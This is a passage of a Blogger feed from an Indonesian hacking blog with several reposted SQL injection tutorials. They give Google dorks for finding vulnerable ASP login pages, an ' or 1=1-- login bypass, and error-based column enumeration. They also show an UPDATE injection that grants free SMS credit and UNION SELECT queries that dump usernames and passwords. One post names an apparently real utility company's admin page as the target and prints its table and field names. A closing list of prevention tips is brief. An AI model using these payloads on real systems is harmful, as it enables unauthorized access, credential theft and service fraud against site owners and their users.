/&gt;&lt;/p&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9220767944369178895-7519075130051891000?l=senlest.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://senlest.blogspot.com/feeds/7519075130051891000/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://senlest.blogspot.com/2009/05/sql-injection-2.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9220767944369178895/posts/default/7519075130051891000'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9220767944369178895/posts/default/7519075130051891000'/><link rel='alternate' type='text/html' href='http://senlest.blogspot.com/2009/05/sql-injection-2.html' title='SQL Injection 2'/><author><name>pangeranes</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_pZ3_2XDQFfI/SpmbUPNFDXI/AAAAAAAAAIg/5WZSyhCv73s/S220/in+waterboum.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9220767944369178895.post-5990827339263254140</id><published>2009-05-04T01:05:00.001-07:00</published><updated>2009-05-09T00:45:46.765-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sql injection'/><title type='text'>SQL Injection 1</title><content type='html'>&lt;div style="text-align: justify;"&gt;Setelah banyaknya bug-bug yang bertebaran di jagad maya ini dari yang namanya Unicode (masih ada lho sekarang) , RPC DCOM, XSS, VP-ASP, dan bug-bug e-commerce lainnya kini yang lagi "trend" dalamteknik hacking adlaah SQL Injection. dalam vol. 1 ini gw jelasin cara ngisi sesuatu dengan perintah UPDATE&lt;br /&gt;&lt;br /&gt;::DESCRIPTION: :&lt;br /&gt;============ ===&lt;br /&gt;SQL adalah bahasa pemrograman database yang banyak dipakai dalam website, laporan keuangan, data-data pekerjaan, data mahasiswa, dan lain lain. Diantara jenis lainnya MS-SQL adalah yang paling terkenal, nah ternyata semua hal yang di jagad maya ini adalah Vulnerable terhadap berbagai serangan, jadi SQL pun menjadi target dalam hal ini.&lt;br /&gt;&lt;br /&gt;::VULN::&lt;br /&gt;========&lt;br /&gt;yang akan gw bahas disini adalah MS-SQL yang Link ODBC dengan bahasa pemrograman website ASP.&lt;br /&gt;&lt;br /&gt;::Injection: :&lt;br /&gt;==========&lt;br /&gt;ok, setelah basa basi diatas gw mulai neh ..hehehe untuk menginject sql ini anda perlu memperhatikan input-inputan dalam situs itu yang sekiranya connect dengan SQL database situs itu, atau bisa juga dengan menambah dari link url di kotak browser anda semisal : ....asp/productID= 1'[sql query/string. untuk mencari target yang vuln seperti kondisi diatas anda perlu mencarinya yang .asp nah seperti biasa....GOOGLING! !! hehehe key wordnya di google adalah :&lt;br /&gt;&lt;br /&gt;1. allinurl:.co. id/login. asp&lt;br /&gt;2. allinurl:.com/ admin.asp&lt;br /&gt;&lt;br /&gt;semuannya itu banyak kombinasinya lainnya itu tergantung seberapa jauh anda kreatif dalam mencari target di google.nah, kanre disini gw bahas cara inject ke situs web to sms so searchnya : asp,web to sms atw Send SMS, ASP&lt;br /&gt;&lt;br /&gt;ok, misal kita dapet target www.apes.com, nah lihat dah ada inputan yang masuk ke database itu ga, misalnya search product, member login, atw admin login :) setelah itu kita isa inject pake&lt;br /&gt;sql "umum" stringnya : ' or 1=1-- disini kita lihat kalau 1=1 itu nialinya true dan tanda -- itu adalah marknya SQL kalau di C++/C itu // _/* jadi setelah tanda Mark perintah selanjutnya tidak dijalankan. nah klo beruntung dapet /admin.asp kita inject seperti diatas itu bisa lho kita masuk sebagai admin! ini terjadi di situs berita nasional di indonesia...&lt;br /&gt;&lt;br /&gt;nah, klo ga dapet dir adminya yah kita cari kotak input yang kiranya connect ke database situs itu, contoh isa di login, member, search, dll. kita masukan debugging codenya : ' having 1=1--&lt;br /&gt;jreeeeeng... ..ini musti diinget n kudu di pake setiap klo mo inject, kita injet di :&lt;br /&gt;&lt;br /&gt;userid : ' having 1=1--&lt;br /&gt;Password :fuzk3&lt;br /&gt;&lt;br /&gt;lalu....jreeeeeeng. ...ERROR! !!!&lt;br /&gt;Error Type:&lt;br /&gt;Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)&lt;br /&gt;[Microsoft][ ODBC SQL Server Driver][SQL Server]&lt;br /&gt;Column 'UserDB.userid' is invalid in the select list because it is&lt;br /&gt;not contained in an aggregate function and there is no GROUP BY&lt;br /&gt;clause.&lt;br /&gt;member/log_right. asp, line 25&lt;br /&gt;&lt;br /&gt;tuh ketahuan ada kolom UserDB.userid, klo udah gini gemana lagi dungs? ok kita loop lagi sekarang kita inject : ' group by UserDB.userid -- atau ' group by UserDB.userid having 1=1-- disini kita gunain perintah group by untuk menggroup kolom ingin kita lihat....ehehe. ..muncul error lagi, kali ini beda choi...&lt;br /&gt;Error Type:&lt;br /&gt;Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)&lt;br /&gt;[Microsoft][ ODBC SQL Server Driver][SQL Server]&lt;br /&gt;Column 'UserDB.userpass' is invalid in the select list because it is&lt;br /&gt;not contained in an aggregate function and there is no GROUP BY&lt;br /&gt;clause.&lt;br /&gt;member/log_right. asp, line 25&lt;br /&gt;&lt;br /&gt;nah sekarang kita tau apa aja kolomnya...hehehe penerapan selanjutanya adalah misal situs itu adalah situs pengiriman SMS sedunia yang kalo kita membernya kita bisa send sms dari web, namun harus ada account yang digunakan untuk mengirim sms itu, jadi account itu harus ada nilainya dan untuk itu kita harus mengisinya dengan cara membelinya.. .ok ok NO CARDING HERE!!!&lt;br /&gt;heheheh...so gemana neh??? karena kita ini orang-orang kere hehehe so kita inject aja....sebelumnya kita harus jadi member kan gratis ini daftarnya... setelah kita jadi member dengan id : fuzk3 dan pass: Vero...kita log ke situs itu dengan id kita, cari tahu string khusus yang digunakan web itu untuk menghitung account sms kita, misalnya : cell nah, inilah injectnya... .cari login inputan lagi misal /member.asp nah disitu ada input box id dan pass...kita Inject dengan :&lt;br /&gt;&lt;br /&gt;' UPDATE [namadatabase] SET [charkhusus] = [nilai] WHERE [namakolom]= '[char_id]'- -&lt;br /&gt;&lt;br /&gt;contoh :&lt;br /&gt;&lt;br /&gt;' UPDATE UserDb set cell=100 where userid ='fuzk3'-- (inget neh)&lt;br /&gt;&lt;br /&gt;sep, nah klo muncul error : userid not found kita isa cari input di forgot password : dengan inputan sama...jreeen ketika di jalankan ga ada error apa-apa..kembali login lalu...jreeeeeenng. ..liha cell mu itu waduh 100 cell enak neh sms seratus kali....kiekiekie. ..SUKSES BRO!!! :)&lt;br /&gt;&lt;br /&gt;sumber : http://www.neoteker.or.id/info-security/59-sql-injection-vol1.html&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9220767944369178895-5990827339263254140?l=senlest.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://senlest.blogspot.com/feeds/5990827339263254140/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://senlest.blogspot.com/2009/05/sql-inject_04.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9220767944369178895/posts/default/5990827339263254140'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9220767944369178895/posts/default/5990827339263254140'/><link rel='alternate' type='text/html' href='http://senlest.blogspot.com/2009/05/sql-inject_04.html' title='SQL Injection 1'/><author><name>pangeranes</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_pZ3_2XDQFfI/SpmbUPNFDXI/AAAAAAAAAIg/5WZSyhCv73s/S220/in+waterboum.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9220767944369178895.post-3744949214374369034</id><published>2009-05-04T01:01:00.000-07:00</published><updated>2009-05-09T00:46:31.278-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sql injection'/><title type='text'>How To SQL Injection</title><content type='html'>&lt;div style="text-align: justify;"&gt;SQL Injection adalah salah satu metode yang dilakukan untuk mengeksploitasi kelemahan pada koding halaman web. Apa aja yg bisa diperoleh dari metode ini? Buaannnnyaakkk, misal menampilkan username + password user/member dari suatu situs, insert data pada database, n dll. OK, langsung kita praktekan saja&lt;br /&gt;&lt;br /&gt;1. Cek kelemahan web&lt;br /&gt;Kalo yg pernah/sering bikin web, pasti tau beda antara METHOD GET n POST. Method GET akan menampilkan parameter inputan pada URL di address bar. Hal ini kadang yg menjadikan ktia dapat mengetahui isi dari parameter yang di pass ke web serverna. Misal :&lt;br /&gt;&lt;br /&gt;http://www.target.com/apaajah.php?news=32&lt;br /&gt;&lt;br /&gt;Dari URL web tsb kita bisa liat kalo parameter news akan di pass ke web server dgn nilai 32. Jika pada koding halaman apaajah.php terdapat Query SQL seperti ini :&lt;br /&gt;&lt;br /&gt;$news = $_GET['news'];&lt;br /&gt;$hasil = mysql_query("SELECT nama_field FROM nama_tabel WHERE news_id = $news ");&lt;br /&gt;&lt;br /&gt;Maka akan dipastikan kalo hasil dari query tersebut akan menampilkan field dgn kondisi news_id = 32, jika news_id yg dicari tidak ada, maka akan menghasilkan error. Error ini lah yang menjadi tanda kalo tidak adana pengecekan terhadap nilai parameter yang salah atau invalid. Kalo kita beginikan pada URL gimana :&lt;br /&gt;&lt;br /&gt;http://www.target.com/apaajah.php?news=-1&lt;br /&gt;&lt;br /&gt;Maka akan muncul error pada web yg bersangkutan bila tipe data news_id harus positif Tyus hubunganna ma SQL Injection gimana? Jika tidak ada pengecekan terhadap nilai paramater, maka kita bisa menambah/mengurangi nilai tsb. Misal :&lt;br /&gt;&lt;br /&gt;http://www.target.com/apaajah.php?news=32 AND 1=0--&lt;br /&gt;&lt;br /&gt;Ada tambahan string pada URL tsb, yaitu "AND 1=0--", Apa artina? string tsb adalah operator logika BOOLEAN, dimana Query SQL yang akan diproses pada koding web tsb akan berubah. Tadina hanya mencari news_id dengan nilai 32 saja, akan berubah menjadi "tampilkan nama_field dengan news_id = 32 DAN 1=0". Dalam logika, 1 TIDAK SAMA DENGAN 0, maka 1=0 bernilai FALSE (syntax -- akan mengakhiri Query SQL walaupun masih ada Query SQL dibelakangna). Hasil dari query SQL tsb akan tidak menampilkan apa2, karena kondisi bernilai FALSE. Bila hal ini terjadi maka halaman apaajah.php pada web tsb BERPOTENSI untuk dilancarkan serangan SQL Inejction&lt;br /&gt;&lt;br /&gt;2. Mencari jumlah kolom/field pada tabel&lt;br /&gt;Tabel pada database mempunyai jumlah kolom/field yg bebeda/sama. Misal kita ingin menampilkan 8 buah field pada tabel yang hanya memiliki 7 buah field saja, maka Query SQL yg diproses akan menghasilkan eror, karena jumlah kolom/field tidak cocok atau NOT MATCH. Bagaimana kita mencari jumlah kolom/field pada tabel tsb? Yaitu dengan memakai syntax SQL ORDER BY. Misal :&lt;br /&gt;&lt;br /&gt;http://www.target.com/apaajah.php?news=32 ORDER BY 3--&lt;br /&gt;&lt;br /&gt;Syntax SQL yg ditambahkan pada URL tsb akan menampilkan nomor kolom ke 3 pada Query SQL yg dijalankan. Selama jumlah kolom/field yg kita masukkan pada ORDER BY masih kurang atau sama dengan jumlah kolom/field pada database maka TIDAK akan menghasilkan eror. Bila terjadi eror, maka dapat kita tarik kesimpulan kalo jumlah kolom/field pada database web tsb kurang dari nilai ORDER BY yg kita masukkan, misal&lt;br /&gt;&lt;br /&gt;http://www.target.com/apaajah.php?news=32 ORDER BY 11--&lt;br /&gt;&lt;br /&gt;Akan menghasilkan eror bahwa jumlah kolom/field tidak cocok, maka jumlah kolom/field pada database web KURANG DARI 11 (entah itu 10, 9 ,,,,).. Cobalah memasukkan nilai kurang dari 11 secara berurutan, 10, 9 , 8, ... hingga tidak timbul eror.&lt;br /&gt;&lt;br /&gt;3. Menampilkan kolom/field yang bisa dpakai untuk SQL Injection&lt;br /&gt;Misal pada ORDER BY 10 kita tidak mendapatkan eror, maka selanjutna kita akan mencari nomor kolom/filed keberapa yg dapat kita sisipkan Query SQL Injection. Contoh :&lt;br /&gt;&lt;br /&gt;http://www.target.com/apaajah.php?news=-1 union select 1,2,3,4,5,6,7,8,9,10--&lt;br /&gt;&lt;br /&gt;Perhatikan parameter news diubah nilaina menjadi -1, karena kita akan menggunakan Query SQL injection kita (-1 tidak terpadat pada news_id). Sedangkan UNION SELECT akan memproses data yg kita inginkan berdasarkan jumlah kolom yg kita masukkan, dalam hal ini kita mengecek nomor kolom dari 1 sampai 10.&lt;br /&gt;Bila tampil hasil pada web, maka nomor kolom tersebut yg bisa kita pakai untuk langkah selanjutna&lt;br /&gt;&lt;br /&gt;4. Menampilkan informasi/data&lt;br /&gt;Bila hasil yang kita dapat misalkan 2, maka pada nomor kolom 2 bisa kita masukkan syntax/fungsi SQL kedalam URL tsb, contoh :&lt;br /&gt;&lt;br /&gt;http://www.target.com/apaajah.php?news=-1 union select 1,database(),3,4,5,6,7,8,9,10--&lt;br /&gt;&lt;br /&gt;Query SQL tersebut akan menampilkan nama database yang sedang terkoneksi. Fungsi SQL lain yg bisa dipakai diantarana :&lt;br /&gt;&lt;br /&gt;* version(): current mysql version&lt;br /&gt;* database(): current database where user is connected&lt;br /&gt;* user(): connected to the database&lt;br /&gt;* system_user(): obvious&lt;br /&gt;* session_user()&lt;br /&gt;* current_user()&lt;br /&gt;* last_insert_id()&lt;br /&gt;* connection_id()&lt;br /&gt;* etc.&lt;br /&gt;&lt;br /&gt;5. Menampilkan nama2 tabel pada database&lt;br /&gt;Dengan menggunakan Query SQL information_schema.tables bisa kita dapatkan nama2 tabel yg ada di database web tsb, contoh :&lt;br /&gt;&lt;br /&gt;http://www.target.com/apaajah.php?news=-1 union select 1,table_name,3,4,5,6,7,8,9,10 from information_schema.tables--&lt;br /&gt;&lt;br /&gt;Maka kita akan dapatkan nama2 tabel&lt;br /&gt;&lt;br /&gt;6. Menampilkan nama2 kolom pada tabel&lt;br /&gt;Query SQL yg digunakan adalah information_schema.columns, misal kita pilih tabel users yg kita dapatkan pada hasil diatas :&lt;br /&gt;&lt;br /&gt;http://www.target.com/apaajah.php?news=-1 union select 1,column_name,3,4,5,6,7,8,9,10 from information_schema.columns where table_name=users--&lt;br /&gt;&lt;br /&gt;7. Menampilkan data dari tabel&lt;br /&gt;Dari hasil diatas, dapat kita explorasi lebih lanjut untuk mengetahui username + password pada tabel users, contoh :&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;http://www.target.com/apaajah.php?news=-1 union select 1,concat(username,password),3,4,5,6,7,8,9,10 from users--&lt;br /&gt;&lt;br /&gt;Maka kita akan dapatkan data username + password dari semua user&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Tips untuk mencegah SQL Injection&lt;br /&gt;1. Selalu gunakan pengecekan terhadap parameter inputan&lt;br /&gt;2. Gunakan fungsi regex pada koding web untuk menghilangkan karakter/simbol khusus dari&lt;br /&gt;    nilai parameter inputan&lt;br /&gt;3. Kalo bisa hilangkan show error mysql pada konfigurasi PHP&lt;br /&gt;&lt;br /&gt;sumber : http://community.gunadarma.ac.id/blog/view/id_82/title_howto-sql-injection/&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9220767944369178895-3744949214374369034?l=senlest.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://senlest.blogspot.com/feeds/3744949214374369034/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://senlest.blogspot.com/2009/05/how-to-sql-injection.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9220767944369178895/posts/default/3744949214374369034'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9220767944369178895/posts/default/3744949214374369034'/><link rel='alternate' type='text/html' href='http://senlest.blogspot.com/2009/05/how-to-sql-injection.html' title='How To SQL Injection'/><author><name>pangeranes</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_pZ3_2XDQFfI/SpmbUPNFDXI/AAAAAAAAAIg/5WZSyhCv73s/S220/in+waterboum.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9220767944369178895.post-928033668314804717</id><published>2009-05-04T00:49:00.000-07:00</published><updated>2009-05-09T00:46:59.768-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sql injection'/><title type='text'>SQL Injection</title><content type='html'>&lt;strong&gt; &lt;/strong&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:100%;"&gt;Akhir-akhir ini, anda sering mendengar istilah "SQL Injection" ?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Anda tahu betapa berbahaya bug                                  yang satu ini ?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Berikut akan kita sajikan                                  step by step SQL Injection ini.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Catatan :                                  kita akan membatasi bahasan pada SQL Injection                                  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;di MS-SQL Server.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Kita akan mengambil                                  contoh di site www.pln-wilkaltim.co.id&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Ada                                  dua kelemahan di site ini, yaitu:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;1. Tabel                                  News&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;2. Tabel Admin&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Langkah pertama,                                  kita tentukan lubang mana yang bisa                                  di-inject&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;dengan jalan berjalan-jalan                                  (enumeration) dulu di site tsb.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Kita akan        menemukan 2 model cara input parameter, yaitu                                  dengan&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;cara memasukkan lewat input box dan                                  memasukkannya lewat&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;alamat URL.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Kita                                  ambil yang termudah dulu, dengan cara input                                  box.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Kemudian kita cari kotak login yang                                  untuk admin.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Ketemu di                                  www.pln-wilkaltim.co.id/sipm/admin/admin.asp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Langkah                                  pertama untuk menentukan nama tabel dan                                  fieldnya,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;kita inject kotak NIP dengan                                  perintah (password terserah, cabang&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;biarkan                                  aja):&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;' having 1=1--&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;jangan lupa untuk                                  menuliskan tanda kutip tunggal dan                                  tanda&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;minus dobel (penting).&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Arti kedua                                  tanda tsb bisa anda cari di tutorial SQL                                  Injection&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;di www.neoteker.or.id ini (lihat                                  arsip sebelumnya).&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Kemudian akan keluar pesan                                  error:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;--------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Microsoft OLE                                  DB Provider for ODBC Drivers                                  (0x80040E14)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;[Microsoft][ODBC SQL Server                                  Driver][SQL Server]Column &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;'T_ADMIN.NOMOR' is                                  invalid in the select list because &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;it is not                                  contained in an aggregate function and &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;there                                  is no GROUP BY                                  clause.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;/sipm/admin/dologin.asp, line                                  7&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;--------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Keluarlah nama                                  field pertama kita !!!&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Catat nama tabel :                                  T_ADMIN&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Catat nama field :                                  NOMOR&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Kemudian kita akan mencari nama                                  field-field berikutnya,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;beserta nama tabel                                  yang mungkin berbeda-beda.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Kita inject di                                  kotak NIP (password terserah):&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;' group by                                  T_ADMIN.NOMOR having 1=1--&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Akan keluar pesan                                  error:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;--------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Microsoft OLE                                  DB Provider for ODBC Drivers                                  (0x80040E14)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;[Microsoft][ODBC SQL Server                                  Driver][SQL Server]Column &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;'T_ADMIN.NIP' is                                  invalid in the select list because &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;it is not                                  contained in either an aggregate &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;function or                                  the GROUP BY clause.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;/sipm/admin/dologin.asp,                                  line 7&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;--------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Artinya itulah                                  nama tabel dan field kedua kita.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Catat :                                  T_ADMIN.NIP&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Kemudian kita cari field ke                                  tiga :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;' group by T_ADMIN.NOMOR,T_ADMIN.NIP                                  having 1=1--&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Akan keluar pesan                                  error:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;--------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Microsoft OLE                                  DB Provider for ODBC Drivers                                  (0x80040E14)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;[Microsoft][ODBC SQL Server                                  Driver][SQL Server]Column &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;'T_ADMIN.PASSWORD'                                  is invalid in the select list because &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;it is                                  not contained in either an aggregate                                  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;function or the GROUP BY                                  clause.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;/sipm/admin/dologin.asp, line                                  7&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;--------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Catat field ke tiga                                  : T_ADMIN.PASSWORD&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Lakukan langkah di                                  atas sampai kita menemukan field                                  terakhir.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Berikut adalah pesan error yang                                  terjadi, jika kita mengecek&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;field terakhir                                  dengan meng-inject:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;' group by                                  T_ADMIN.NOMOR,T_ADMIN.NIP,T_ADMIN.PASSWORD,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;T_ADMIN.NAMA,T_ADMIN.KD_RANTING,T_ADMIN.ADDRESS,T_ADMIN.EMAIL                                  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;having 1=1--&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;(catatan : kalimat harus 1                                  baris, tidak                                  dipotong)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;--------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;- NIP atau                                  Password atau Unit Anda salah !!                                    -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;--------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Sukses !!! Kita                                  berhasil menemukan field terakhir.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Daftar                                  kolom (field):&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;T_ADMIN.NOMOR &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;T_ADMIN.NIP                                  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;T_ADMIN.PASSWORD &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;T_ADMIN.NAMA                                  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;T_ADMIN.KD_RANTING &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;T_ADMIN.ADDRESS                                  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;T_ADMIN.EMAIL &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Hanya ada satu tabel untuk                                  otentifikasi ini (yaitu T_ADMIN),&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;ini akan                                  mempermudah proses kita                                  selanjutnya.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Langkah berikutnya, kita                                  menentukan jenis struktur field-&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;field                                  tersebut di atas.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Kita inject di kotak                                  NIP (pass terserah) :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;' union select                                  sum(NOMOR) from T_ADMIN--&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Arti dari query                                  tersebut adalah : kita coba menerapkan&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;klausa                                  sum sebelum menentukan apakah jumlah                                  kolom-kolom&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;di dua rowsets adalah                                  sejenis.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Bahasa mudahnya adalah kita                                  memasukkan klausa sum (jumlah)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;yang berlaku                                  untuk type kolom numerik, jadi untuk type                                  kolom&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;yang bukan numerik, akan keluar error                                  yang bisa memberitahu &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;kita jenis kolom yang                                  dimaksud.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Pesan error                                  :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;--------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Microsoft OLE DB                                  Provider for ODBC Drivers                                  (0x80040E14)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;[Microsoft][ODBC SQL Server                                  Driver][SQL Server]All queries &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;in an SQL                                  statement containing a UNION operator must have                                  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;an equal number of expressions in their                                  target lists.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;/sipm/admin/dologin.asp, line                                  7&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;--------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;artinya kolom NOMOR                                  berjenis 